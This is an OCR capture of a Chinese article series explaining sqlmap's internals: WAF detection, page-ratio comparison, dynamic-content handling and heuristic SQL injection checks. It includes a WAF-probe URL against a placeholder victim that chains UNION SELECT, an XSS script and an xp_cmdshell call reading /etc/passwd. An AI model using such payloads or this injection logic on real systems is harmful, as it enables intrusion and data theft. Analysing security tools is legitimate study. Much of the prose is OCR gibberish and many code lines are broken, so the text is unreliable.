_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "“, value ") if place == PLACE.CUSTOM_HEADER value

kb. customInjectionMark

if kb.processUserMarks:
conf.cookie: 3

if conf.httpHeaders:

conf. csrToken} (5

FRUAFAIE])A 2 BIRY start() 753AH foreach targets RITEIAMAT, 7F setupTargetEnv() Z /&, FBIAEE
ZHE T T X ERNAENA USRI NSNS EERIREY 7, HEEFET confparamDict X PNF
BT,

ZEit, EEATFEREN 28, HMNELA ( - )

j8, conf.url, conf.method, conf.headers ... Zz£
A J

=) EMOMNtmwEBEmNER, & [ cneotwar) 1z | <{mﬁ?ﬁﬁj&f§1ﬂﬁu WAF'\

e | BTAPERTRGIAN |
2 HFR{ER tamper _/'

conf.paramDict FREIEBRINAEMIENFEN | conticntiywar |
WSRO TH, UG ERRESR  Payload, |

XTHEMANITH, EXKATDRI XD, Contienttywes
RNBENELHAZTEZEROGIRET, XLEMT e

FAZREBRIBR0E, & BEINEERNHS | rucomecton | > BrenE, NRRS
L = ] REREHR S
B REXLES BRI, HFEHATHR. . [

True | 4 WAF %,
{5 T{EA tamper

v
; v
HEE URRR ' ]
prETRITN | jrrrere 5 | ﬁf;i—ig;gﬁﬁ;
BAEESH | ?zsﬁﬁmﬁiﬁ;ﬂ it
AU EIRE 7 B EEM T RN AS R True 1

Y

g, FAMAAUELFREEIERN SQL JEA g BERA
Aff® sqlmap #ALETHA, HELEERR, [
L0 TES R

False

EEBIN controller.py H8Y start() EE

SQLENER

WIS, BHTAEOTEE, EEGT | e
2, BNEETPRMET; BPRREESSHX
CE—TEFTEEHNTE,
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checkWaf

ftcheckWaf()F, X#4EHB3: Reference:http://seclists.org/nmap-dev/2011/q2/att-1005/
http-waf-detect.nse, HAATNAEXERMMORIZLL, BXBEIREFTUBTHR. ELRE
WA RERABANT:

retval =
@ EATMIEEAN Payload

e iBiT Page Ratio KEIMTRSTFE
WAF

payload = “%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
1

PLACE.URT in conf.parameters:
- POST
" % (randomStr(), agent.addPayloadDelimiters(payload))

2

(CE.GET
conf.parameters.get (PLACE.GET) e conf.parameters [PLACE.GET] + DEFAULT_GET_POST_DELIMITER
s" % (randomStr(), agent.addPayloadDelimiters(payload))

pushValue(conf. timeout)

conf.timeout = IDS_WAF_CHECK_TIMEOQUT

retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTimes! , silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
ept SqlmapConnectionException: 3
retval =

kb.matchRatio =
conf. timeout = popValue()

retval:
warnMsg =
warnMsg
logger.critical(warnMsg)

EZEXREI D ELCIENF KSR, HEAZKER, H1T&M payload XTEEZBIREN—T
o + space + — P45l Payload (P REFIRZMXTEREXHEE, JUREZHAE WAF Z8) .

WEED, sqlmap £=IE payload B{BNIZIEANME: T GET ZH£mER, sglmap & ZEIN
query BAEBEMA—THNSE, XTSHREBET randomStr() £, SHNEMELRILIEN
Payload, WMIRBIEEFERRE, BNAEXETUE—HFF:

MRBAE

http://this.is.a.victim.com/article.php?id=1

XAERY URL #17 Waf B9 &, sqlmap &2 —"7

http://this.is.a.victim.com/article.php?id=1&mbjwe=2472%20AND%201%3D1%20UNIONS
20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%s3Ealert%28%22XS5%22%29%3C/script%s3E%27%2
Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/%
2A%2A/%3B%20EXEC%20xp_cmdshe11%28%27cat%20../../../etc/passwd%27%29%23

BEFIIER, XMBERSERABERM A Waf IR, AfF sqlmap BT HIBTIRETTE M Z 8171
HHAY Page Ratio RFIMTE TR A T WAF,

BAMUAF B E] — L o) &
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BIORNEEFIRERM, FAIELNTEIT — 1S PAEMIE Page Ratio, X TMEAHESLEE sqlmap
PRIFFEENTE, BNZERERENIEFIFANBXELHIEL,
0x04 2Af=ME?

HEFMBR P AR SR BRE— T REEM T4, EERTRIBOZM, BINAIEELSE—TT: 5
AR, HMNAXHAST BMRE LR LEENABRT, FESIHTHNERET —RBXENBNEHSZ
—“Page Ratio”,

PR FRIAVAIEREREAX T, BERREFENE, E—TEEHMEBZLECHN, BCERE
sqlmap B94HTT,
0x05 Z5RiE

ROGIEENMD, EETROXESD, ZERBSEINRANE sqlimap &z OB EMNHATLIE,
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sglmap Rz |l
ZONRE-TIERBUER

EE: villdn

N5

N7/

HFLE—RBXES, HNIE checkWaf() FEAMIETF page ratio X—MR; BREEAX, S1EM
N 43 page ratio I F sqlmap BPMRANEES NIAE, BRI ZIMNESIEH —LE sqlmap Bz O0EHEN—
LIRRMRINEE, BE:

e identityWaf

* nullConnection (checkNullConnection)

0x00 PageRatio 2ftA?

i PageRatio Bft4, HATAIERFEANAS—MER difflib, X TMERZTE sqimap FAMRITER
EABEMNENEMMEIR, SLFROENE, sqmap HAMUNZEZTETENBAMUE, MEEIE TN
EHT—EMAE, B e, RIBFURNEMESITEIERTTENEMR T EENE.

NF diffio WREIAGHSEFTAIEBIEHN, FMSNEHFM, ZIREFERIREH, sqlmap
FEFRAHE SequenceMatcher XM, U TFEXRFTXMENBENA

This is a flexible class for comparing pairs of sequences of any type, so long as the sequence elements are
hashable. The basic algorithm predates, and is a little fancier than, an algorithm published in the late 1980’s
by Ratcliff and Obershelp under the hyperbolic name “gestalt pattern matching.” The idea is to find the
longest contiguous matching subsequence that contains no “junk” elements (the Ratcliff and Obershelp
algorithm doesn’t address junk). The same idea is then applied recursively to the pieces of the sequences to

the left and to the right of the matching subsequence. This does not yield minimal edit sequences, but does

tend to yield matches that “look right” to people.

BRI TNEFERT Ratcliff F Obershelp RENEER, NESKERNFERS, RELXFR
(junk) . FEELPMEAS, WNNBRSMNGENIZME ratio(),

ratio()
Return a measure of the sequences’ similarity as a float in the range [0, 1].

Where T is the total number of elements in both sequences, and M is the number of matches, this is 2.0M / T. Note that this is 1.0 if the sequences are identical, and 0.0 if they have nothing in common.

This is expensive to compute if get_matching_blocks() OF get_opcodes() hasn’t already been called, in which case you may want to try quick_ratio() OF real_guick_ratio() Tirst to get an upper bound.
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RIEXEPRER, XPAEREMEXANEMUE, SUENEEUT: FMRIRMEXAR D5
text1 5 text2, {IARMNHOKESHAM, ZMERXAKEZNA T, BARXMEXARNBMUEEXR
20*M /T, XMEMERETE 0 5 1.0 ZE,

HATES EENNE, ME TN T abcdefg M abcel23 FEANTEMNERNIZE2.0%4/14 FFIA
TTEERNIZE:

Python 3.6.4 (default, Jul 12 2818, 89:46:39)
Type 'copyright', 'credits' or 'license' for more information
IPython 6.4.8 -- An enhanced Interactive Python. Type '?' for help.

SeguenceMatcher
segm = SequenceMatcher()
seqm.set_seql( )
segm. set_seq2( )

seqm. ratio()
8.5714285714285714

FIMEIAEMR T PageRatio B AN —MEE, FNIF B UITFIRME sqlmap 2UEERX
™MERT ~

* 4 f
8.5714285714285714

ALETHRARS, HAIT sagmap BPRIB T #EZE] checkWaf BIE8%, ZEENIZ AT PageRatio AYf
¥, BIEETUEIEXEHLE:

retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
except SqlmapConnectionException:
tval = True

finally:
kb.matchRatio = None|
conf.timeout = popValue()

MEIRTE IDS_WAF_CHECK_RATIO = 0.5 %&BE, REITTHN IDS/WAF 89 Payload BITIE %S
RERRNTAERXATHET —ELIE, RELEREEMNERZ0.SMAILUANGAT IDS/WAF,

5 checkWaf t8xBHESLAE identityWaf, B2 XN AERNE R T HMNHAANBIFHAD T, BHEEE
AIAEfTTHR—T, AAEEETX— TR,

XPMRPELZAENEROTTARFENSAS, FHH—LELIE, @HEIERNE? £ salmap FRRMN
BEFNARFODERE—1TE, HREIERNSHTETEEE, MIIEENATETHERE.
A, salmap MAEBHEXOHAZHENLERM IIEAMSEARARET, EERTZE, NRFEDNER
AWM —EDHAIE, ERLY BISE (—-string/—-regex) , UHERLER.
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infoMsg = "test

e & sty i @ LEFmRsEInTERSRER
firstPage = kb.originalPage @ EBH, Fisamap 25

delay = 1 - (time.time() - (kb.originalPageTime © RRIERAEAFE —string I
delay = max(0, min(1, delay))

time. sleep(delay) @ ERIER, LEAP BN regex
]

secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise4@d=

5 B = i
if Kb.redirectChoice: (5] z;ﬁ;*ﬁgﬂﬂmﬂﬁme; fEIHARRL

kb.pageStable = (firstPage == secondPage)(]

infoMsg =
logger. info(infoltsg)

message = "how d ant Jontinu
choice = reanInnut(message defau }.upper()

choice = '0': (3

checkDynanicContent (firstPage, secondPage) (g

rn kb.pagestable

FA1&RM, EFRRY sqlmap JRIGFASEZRBIMNINMBNATLEN, MRTERNSTENSHIE, NERE
AP GEFRRREBINENREN IR,

&

BOIAIER Fsalimapi@d # R EI TTEA N ER A AR, EBAMRXETEIRE, FABNTHESRRFONE
HEREAENRE, EUNEIETREE— TSN SHEEMAS, X5SHsqimaphIiz#l, LRAF AR
H—PFRHBEHE-REVNCE, FRENTESEZFHETHNIAESFZENTRS, MEBRTERAEE (EA
——stringSEURINFRIE, ——regexpRIEN) , FENAFITURE-BRFRBEFRBNES EXH THREEBAR
BFAENFRE, MBIRIERFENFRS (—-not-stringiiil) . AP MRHESEBEFGMRENHTTPRES
BA—ERIN, fIa0, ME2000ERNE, MA401EHENER, FTRURINS#--code=200,

checkDynamicContent(firstPage, secondPage)

VR, WRIRFANIFHIRIEE string / regex HARZIER, HIVMDABAINEBRESEHER: RIE
sqimap BB, EXMFLEEERE —LELEBEREN, MXLRLEME checkDynamicContent(firstPage,
secondPage) H:

@ 15 ratio MNRIHEKM, BE ratio
None

kb. nullConnection: @ UPPER_RATIO_BOUND % 0.98
any(page page (firstPage, secondPage)):
firstPage secondPage any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH _ in (firstPage, secondPage)):

ratio B
kb. skipSeqMatcher =

2
ratio <= UPPER_RATI0_BOUND:
findDynamicContent(firstPage, secondPage)

count = @
Request.queryPage () :
count += 1

count > conf. retri
warnMsg =

warmMsg += “Switching to
Logger . warn (warnisg)

conf.textonly =

warnMsg
warnMsg +=
singleTimeLogMessage(warnMsg, logging.CRITICAI

kb.heavilyDynamic =

secondPage, _, _ = Request.queryPage (content=True)
FindbynanicContent (firstPage, secondPage)

088



KER/RAEH2018EEE
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HAEX MR P LA R firstPage 1 secondPage MIBIME/NTF 0.98 (X MEMERR S 28]
—THAR PageRatio BIlR) , MaEil, #FESE1 findDynamicContent(firstPage, secondPage) A

ERYTIEREE too dynamic B2 heavily dynamic,
AR TIEE too dynamic MIRREA —-text—only JEIN:

BERERAFPAEERE THREINE S BEE TRE AN BUEERE ] MER--text-only (HTTPIER &
FR[E) —titles (HTMLAStitletRZSHARE)

METEXYZ RS heavy dynamic BIiE, sgimap 2AEIEIREZIX S EEIEE too dynamic F 2
BRI AESHSTIE (BIMEARF 0.98) .

3FF too dynamic 5ATNESHEISTIE (BUEST 0.98) , HISRANXIIMEET PageRa-
tio, MR ZRE (B confretries) REBMEWNRE, MALITHEMEMRT 0.98 NMEIARXIDTIE

too dynamic,

findDynamicContent(firstPage, secondPage)

T REALT common.py F1, XPTERBENERELE, HNATETRIFBETBNEHMERE, AT
TERRNNE, EEEXERIDUERXTREM T —H+ 20515, HEER,

BT REBIZR B KERELE, FHHNTHREANS.

IRETEF, NRIKIDTSADR, WRKHTSAHRESWEIEAD (Bl prefix, /F: sufiix, KEHE
DYNAMICITY_BOUNDARY_LENGTH Hi%E, BKIAA 20) fEA— tuple, A kb.dynamicMarkings,

AS—XRNHELEZE, SRMNSRXLEDSAS.

kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None))

plan, ESEPRMERT, BIRREDGEN—1FF:

This function checks if the provided pages have dynamic content. If they
are dynamic, proper markings will be made

>>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur
ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani repre-
hendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae
complectitur no.",

"Lorem ipsum dolor sit amet, congue tation referrentur
ei sed. Ne nec legimus habemus recusabo, natum reque et per. <script src='ads.-
js'></script>Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo
indoctum ad, pri paulo molestiae complectitur no.")

>>> kb.dynamicMarkings
[('natum reque et per. ', 'Facer tritani repreh')]
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RIBMER, EXAZESE script Fn%s
THISCAEEAL prefix fF 20 T

e prefix: 'natum reque et per. '

e suffix: 'Facer tritani repreh’

0x03 FiZR B S MERE 4

BARARZDH TR AREE, BZ
EREREBHRNOHERE, EE2H
[EERIER D FUEL IR

NTEFOGE, HNFBELH— T ZRIAREE

, WACHITHRS
X AIER suffix, o

Conf.identifyWaf

nullConnection

@rlszE SCHpt *T_L; FﬁL/{EjJ/L,\

True

T WAF T,
#T{ER tamper

M

Y

checkStability
HEMMTE, WRES
FRENHEHES

Y

SHLE: B0

iR
False
HHEENERR
SRR . BB
=BT RERTSNEE |
e
maswn e XENBIR

heuristicCheckSqlinjsction

T, FTRBAINB R Z B PIERAE D ]
SIFMANE sqmap EAIZOER

S, AT—RXER, B
MLV REL

04 2 &%ﬁLIEL/{&EjJIu\/éﬁdtﬁE

S TRE

W

SECEE W TSR

1288

# Order of testing list (first to last)
orderList =
PLACE.GET)

—PRBHR

ERFRAGES
MBS

KERAEEZ2018FEXE

WAL

UIREEURAFTERENSHY, RELE
W, BRIV,

(PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,

Chaitin Tech Column 2018

AHHIBET 20 F

PDHBTTTEAN AFIZOFIENIZZCEIFEFM T AR
RIFLE—TTEMANIRE, FAIEMILEXS sqlmap HAZE, D

PLACE.POST,

ZHENN
M sal FEANKG
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for place in orderList[::—1]:
if place in parameters:
parameters.remove(place)

parameters.insert(0, place)
2B ORNE

for place in parameters:

# Test User—Agent and Referer headers only if

#t —level >= 3

skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)

# Test Host header only if
# ——level >= 5

skip |= (place == PLACE.HOST and conf.level < 5)

#t Test Cookie header only if ——level >= 2

skip |= (place == PLACE.COOKIE and conf.level < 2)

skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not
in ([], None))

skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))

skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))

skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))

skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testPa—
rameter, True))

skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))

skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))

skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

if skip:

continue

if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_-
HEADER):

continue

if place not in conf.paramDict:

continue
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paramDict = conf.paramDict[place]

paramType =
OD.POST) else place

or parameter, value
proceed:

paramDict.items():

kb.vainRun =
testsqling =
paramkey = (conf.hostname, conf.path, place, parameter)

paranKey in kb.testedParans: {1

f parameter in conf.testParameter:

parameter = conf.rParan: -3

f parameter in conf.skip or kb.postHint parameter.split(' ')[-1] in conf.skip: - (@

f conf.paramExclude (re.search(conf.paranExclude, parameter, re.I) or kb.postHint re.search(conf.paramExclude, parameter.split(

f parameter = conf.csrfToken: -{§

f conf.level < 4 (parameter.upper() IGNORE_PARAMETERS parameter.upper().startswith{GOOGLE_ANALYTICS_COOKIE PREFIX)): 6

f PAYLOAD. TECHNIQUE. BOOLEAN
check

conf.tech or conf.skipStatic:
checkDynParam(place, parameter, value)

check:

warnMsg c" % (paramType, parameter)

logger.warn(warntsg)

if conf.skipStati
infotsg g
1ogger. info(infoMsg)

" % (paranType, parameter)

testsqlInj =

infoMsg
logger. inf

¢" % (paranType, parameter)

kb. testedParams. add (paramkey)

checkDynParam(place, parameter, value)

BA T NcheckDynParamREUE I, BMRMELERFIFEHE,

ryPageiX TR EN1E SORE T — & EBoo{EANIR BHEF A dynResultiX L HATIFE ERK, FHA1 E—IRL

XN EOREIHZ(page, headers, code) .

checkDynParam(place, parameter, value):

L

if kb.redirectChoice:

kb.matchRatio =
dynResult =

randInt = randomInt()
paramType = conf.method

if conf.method » HTTPMETHOD.GET, HTTPMETHOD.POST) e

infoMsg = g if

% (paramType, parameter)
logger. info(infoMsg)

payload = agent.payload(place, parameter, value, getUnicode(randInt))

dynResult = Request.queryPage(payload, place, raise4@4= ) 1

dynResult:
infoMsg = % (paramType, parameter)
logger. info(infoMsg)

randInt = randomInt(}
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise4@4= ) @

»pt SqlmapConnectionException:

result = if dynResult
kb.dynamicParameter = result

dynResult

turn result

conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETH-

O HBELREINsY

@ HBENLsY

© HreLzRnsy

O HBRERTRERTNSH
@ Hi% CSRF Token

0O 128 level ZEE session-like B
@ ATHSRRE

)1, re.I)):

BRI L& Magent.que—

THRIFTE Payload HZ TR T E#
TR

BRIER, HEUEIRIERER
P

ER
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HATEISERR FAITTEEEEOBEEth H AR EE  checkDynParam , FRARE L, BIX—THASTEE
checkDynParam X MRE, BREfR EFHIMDABERIZE agent.queryPage,

AL, FHalE? dXEE0E!
agent.queryPage 5 comparison

B agent.queryPage HBE—EEREMN, XEXER sqmap WZODEMRHz—, EEBETHE
E=PUETIE RIS, B2 tamper MAMEZENRHEN S CSRF SHRVMIENZE, EIY
WMERFRET timeBasedCompare MEIEZERBIETNMIEELE; FRILzIN, —HRIERT agent.query—
Page FARTFERENIIEAILLRIZOER, TTENEEXNEEA comparison, AT BHARNIE, £
EREN&EREENES D agent.queryPage ,

f timeBasedCompare:

wasLastResponseDelayed() 1 @ » TimeBased 2 EANEEIH

noteResponseTime:

kb. responseTimes . setdefault (kb. responseTimeMode, [1) @ S4EF content 5% response N

kb. responseTimes [kb. responseTimeMode] . append(threadData. lastQueryDuration) SEEITEMEABAS, hitp headers
DA IRZES

response removeReflection:

page = removeReflectivevalues(page, payload) e ERARIBE— T ERRBS ZHITE

HEs BT EM

kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page

message = extractRegexResult (PERMISSION_DENIED REGEX, page

message:
kb.permissionFlag =
singleTineWarnMessage (" pot blems detected ('%s')" % message)

if content or response: >
page, headers, code 2
getRatioValue:
comparison(page, headers, code, getRatiovalue= , pageLength=pageLength), comparison{page, headers, code, getRatioValue=True, pageLength=pageLength)

comparison(page, headers, code, getRatioValue, pageLength)

FErmER, HOVRMT HAVZBINEE ), Rft4 agent.queryPage HIMIREITITEANZ, BYMIRETTE
S5ERITEMNLLRER., HLETNR content/response #HIREHRN True RUBTE, MISIREITTEEERRA
&, headers, MRING; 1R timeBasedCompare #iZEMR, REEE KL TIER: BRIAE)
[B 5 RAR T E R LIRS

BATRIX—"1 comparison REIREFE, MXEWAMTINEHNANS, MEXBNSBITTENEX
58, BEAMTAZEEZRMRES "RIRTTE WEERERIE? 1D LRIRA comparison —IRR &,

comparison(page, headers, ; Rati » pageLeng
adjust(_comparison{page, headers, code, getRatioValue, pagelLength), getRathalue}

_adjust(condition, getRatioValue):
if any( (conf.string,\conf.notString, conf.regexp,/conf.code)}:

retVal = condition i¥ kb.negativelogig condition getRatioValue e
retVal =/condition if getRatioValue MAX_RATIO if condition IN_RATIO)

n retVal

_comparison{page, headers, code, getRatioValue, pagelength):
threadData = getCurrentThreadData()

if kb.testMode:
threadData.lastComparisonHeaders = listToStrvalue(_ for _ headers.headers if _.startswith("ss:" % URI_HTTP_HEADER)) if headers
threadData. lastComparisonPage = page
threadData. lastComparisonCode = code

if page pagelLength
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HEZEREETNERAXR, BIEEZEENE—

T _comparison X PEREEIITHN. HITFH XK
AR, HNERMBE—BIZOI—BTHRE, MARR—TEERELEETEN—BRRE,

_comparison(page, headers, code, getRatioValue, pagelength):
threadData = getCurrentThreadData()

if kb.testMode:
threadData. lastComparisonHeaders = listToStrvalue(_ for _
threadData. lastComparisonPage = page
threadData. lastComparisonCode = code

headers.headers if _.startswith{"&s:" % URI_HTTP_HEADER)) if headers else ""

1f pagq pageLength

return

any({conf.string, conf.notString, conf.regexp)):

rawResponse = "%s%s5" % (listToStrValue(_ for _ headers.headers if _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)

if conf.string:
return conf.string rawResponse

if conf.notString:
return conf.notString rawResponse

if conf.regexp:
return re.search(conf.regexp, rawResponse, re.I | re.M)

if conf.code:
return conf.code == code

segMatcher = threadData.segMatcher
segMatcher.set_seql{kb.pageTemplate)

REEFEERISHEEERNNE, BRESMERIN, XHEHELZAFRM PageRatio RITTERM
ERZE, MeEENBPIRE

T ——string/-—not-string/—-regex/--code MBI ABRMEM HEX 5 0T
HAMTAARE. A, BINESIHAEM, MEITE ratio HE(ER ratio FHTIEHBAM R ELE,

if page:

if kb.errorIsMone (wasLastResponseDBMSError()

retur

wasLastResponseHTTPError()) kb.negativelogic:

if kb.nullConnection:
page = removeDynamicContent(page)
segMatcher.set_seql(removeDynamicContent(kb.pageTemplate))

pageLength:
pageLength = len(page)

if kb.nullConnection pagelength:
if seqMatcher.a:

ratio = 1. * pageLength / len(segMatcher.a)

if ratio > 1.:
ratio = 1. / ratio

eLse:

it isinstance(segMatcher.a, str) isinstance(page, unicode):
elif isinstance(segMatcher.a, unicode) isinstance(page, str):




BRESARERNAIERXMEXT nullConnection KIS, ERIEMNMHFR, FI1ZHBEIFMIRA

nullConnection REEFRETA:

Optimization:
These options can be used to optimize the performance of sqlmap

-0 Turn on all optimization switches

——predict-output Predict common queries output
——keep-alive Use persistent HTTP(s) connections

——null-connection Retrieve page length without actual HTTP response body

——threads=THREADS = Max number of concurrent HTTP(s) requests (default 1)

RIFE /5 F MR, nullConnection B—HAAREXNTIEANSHM A UABITTE A/ NG E, XM75E

5

ERREEPEEBHMR, IMRFNTETR. BRNREFIX-AFEENXE.

FREX—R, LEMNRKBMEERETFET, WRZERFA ——null-connection ift, MXLEERAITIE
2RA page 5 kb.pageTemplate, EIL kb.pageTemplate A PELE, HEIFESE— /R IERXIH O TIEAN

EHE, 7 B P TIENAS,
conf.originalPage = kb.pageTemplate = page
MRBA ——null-connection, 1tH& ratio IR EBREEMWBENEMNKERITE, ITEARRN

ratio = 1. *x pagelLength / len(kv.pageTemplate)

if ratio > 1.:
ratio = 1. / ratio

=4 -

@ ARETHFENRIRIZE ratio X
None

if isinstance(seqMatcher.a, instance(page, unic
isinstance(seqMatcher.a isinstance(pag

O NRFIAERLER, ratio k1.

any(_ _ in (page, seaMatcher.a)):g
seqMatcher.a and page 2nd seqMatcher.a — page: (@ © NRERE T ratio FITE, WE
ratio = 1. page ] kb.templatePage HfhH—
kb. skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): MY 101024*1024 MKEE,
page seqMatcher.a: TTERE
float(seqMatcher.a = page) o
O NREEX title HTURS
RS (titles)

ratio = 1. * len(seqMatcher.a) / len{page)

ratio > 1:
ratio = 1. / ratio @ —text-only B, FEEHTML
R

N .SElll, seq2 = »
O BBsEE

if conf.titles: @
seql = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) @ RE=fm

seq2 = extractRegexResult(HTML_TITLE_REGEX, page)

seqMatcher.a

seql = getFilteredpageContent (seqMatcher.a, True) if conf.textOnly
9 seq2 = getFilteredpageContent (page, ) if conf.textonly page

seql seq2
seql = seql.replace(REFLECTED_VALUE_MARKER, "'
seq2 = seq2. replace(REFLECTED_VALUE_MARKER, "'

seqiatcher.set_seql(seql)
seqiatcher.set_seq2(seq2)

ratio = round(segiatcher.quick_ratio(), 3){@
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J=E AA

RAE EEXDRBAMNE, HIREZEREXD ratio BEABHEKN, EFFMERERE, EXHAR

=z

S REBTTMANER ratio MAILAEEIRIFNBR, ESEMEFARNRENLE: LUBRITENE

7E [8]
A, R title, REEWRXA, REEE html 7%,

O HEsTELELERES ratio B
kb.matchRatio : 1&HZ4EE ratio
if ratio >= LOWER_RATIO_BOUND ratio == UPPER_RATIO_BOUNI

kb.mat chRatio = - @ DIFF_TOLERANCE {fi% 0.05

logger.debug("s % kb.matchRatio)

iT kb.testMode:
threadData. lastComparisonRatio = ratio

if getRatiovalue:
rn ratio

elif ratio > UPPER_RATIO_BOUND:

elif ratio < LOWER_RATIO_BOUND:

Lif kb.matchRatio

turn (ratio = kb.matchRatio) > DIFF_TOLERANCE 2

LFEIRIEAREZER ratio NTUERIBMEELAIMTEIZHE, Hop

UPPER_RATIO_BOUND 0.98
LOWER_RATIO_BOUND 0.02
DIFF_TOLERANCE = 0.05

[E5EA, FAFREX sqimap PAEETEMNA TR HONIER, IAXEREFN.

AT —RXE, BERZHFARREANEREMN sqlmap K, FUEHTR.
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sglmap Rz 7 1
ZILZEE
E&: villdn

AXHNANBHEERARRIATHNE D, BREAUREANMNEEAFEIZINEARYE, RAKXZRBEFE
RZ5E PRI EIMEXE, BEENEAX I EESE — L UFRA R, )
0x00 BIS

E—RXE, BMNNMATRERANEREUR sqgmap M FIUEARGEFIEMN, RHEFHREIEANT samap
AU —LEFRALIERZ DR AR, FEIR TROEI DB, BAIZERITIA samap M OMNEE DT, EEDREIN
VL

* heuristicCheckSqlinjection &= SQL JEANN (BIEEEAY XSS FI #IET)
« checkSgllnjection SQL 3ENIGM

0x01 heuristicCheckSqgllnjection

XN EELTF controller.py B9 start() K F, BREHIIERKBERDIBHIEE 7 X— 155 :

N B | Femumms
False
Y e
MR EELERR ey
SHRFRND maBNSE |, oot
EREESH RERESHR T o
RS '

A

True

Y

BRI
heuristicCheckSqllnjection

Y

BRIMERE
f¥c
False

¥ e

True
SQLFEM v
checkSallnjection »> BEMLT—T887
HicRiER
False
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BRI M N T REIMEARNEERFTEZDTHH T E D,

W RE| sglmap M sql SENRIEBIZ

LBEE, EH heuristicCheckSqlinjection B AIATHE LTI EM, X MR ITAHEL T :

elif PAYLOAD.TECHNIQUE.BOOLEAN conf.tech conf.skipStatic:

check = checkDynParan(place, parameter, value)
1

c" % (paramType, parameter)
logger.warn(warnMsg)

if conf.skipStati
infoMsg = ing static %s pi
logger. info(infoMsg)

" % (paramType, parameter)

testSqlInj =

ic" % (paranType, parameter)
logger. info(infoMsg)

kb. testedParams. add(paranKey)
if testSqling:
place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies =
check = heuristiccheckSqunjectinnkplace, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart (kb. ignoreCasted

infoMsg = ing %:
logger. info(infoMsg)

= HEURISTIC_TEST.CASTED):
% (paramType, parameter)

1 on %s " % paranType
" % parameter
logger. infol infoMsg)

injection = checkSqllnjection(place, parameter, value)

BLERBEH, 255 HENUE,
BARR sql FIENEMEKIZEE

RIEBNEELRE RTVENRZE, B M0 T seieia,

True

EREEAN, M
HEURISTIC_CHECK_ALPHABET
SRR F R E1ER Payload

!

WERERTFTE DBMS Error

SUREHNYFES

@ TS
@ BE SaLEARE

© soLEaeE

A

BAX4 Payload
RiZiER

“H)".format(int(origValue) + randint, randint)
5 Payload RiE2i&ER

ERERFEREME
(casting) 4#iRE
HIRTIE (templatePage) %2
MR

False
ER
origValue.X /N

A B RERANE
(intval($_REQUEST( “param”)))
FEEN

ERERT BURT
EEEHEE

4

BRAMVTEEN &

—

WRERS ERT
EfEfh

True

Y

e

WIRAIRE /e UBME 2y3il

BRREFEFDEN | ¢
f
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HITR AT sql EANMBOBIIREFZMHRZIZE 2 nullConnection #F HITEFHAZ heavilyDynamic, X
XEANEMY, BIESE_EXERLEEXNE, IF nullConnection IEMR—FIAFBEIAEMEMARE
AT AEIBERER NN A/NIERGE; heaviyDynamic  1EME, EANTEESHNIERT, BERFRT
H, FRITENEMNERT 0.98,

2 FESEFREOMADH, RETIANNGERIREN, EEZETMTINRN, D50 casting 5 result, EETE
NS HEERNER :

casting: (4 v 0 AEFEENNIER

errMsg = e %: ' [ & orlgValue isdigit() t )

errMsg += S ($_REQUEST[ \") " % (parameter, parameter) s 5
E eyl o : i @ FEADINIER

errMsg +=

Lodget:error(enna) O BEAINTHERNE SR

kb. ignoreCasted
message = "do you want to s hos ir cases (and save scanning time)? %s " % ("[Y/n]
kb.ignoreCasted = readInput(message defauln conf.multipleTargets N', boolean=

result: (2
infoMsg +=
Backend. getErrorParsedDBMSes()
infoMsg += " (po BMS ss')" % Format.getErrorParsedDBMSes ()
logger. info(infoMsg)

1nfoMsg += "not injectable
logger.warn( mfoMsg)

3. casting X THRMRAMUERBURTMAPER: F—MEE—TERMAIFE T HENRENENTR;
BTMEEBERNMIBERNIR, KIVNEBORTHERARN, BEXNTXMER, ERER tamper IR
—ARARMEARIN 2 Ged

4. result X PAMRAIELVRT: RN E DBMS 1%, MSIREBIXTIMRALA True; WRHEI TEHUEE
HATEEIZE, BN True,

XSS 5 F

Zfr EAERAT sql IEANTEZ E, FHATEARIRRN:

randStrl, randStr2 = randomStn{NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LE
value = "%5%5%s" % (randStrl, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)

payl.oad = "%s% ' % (prefix, "'%s" % value, suffix)

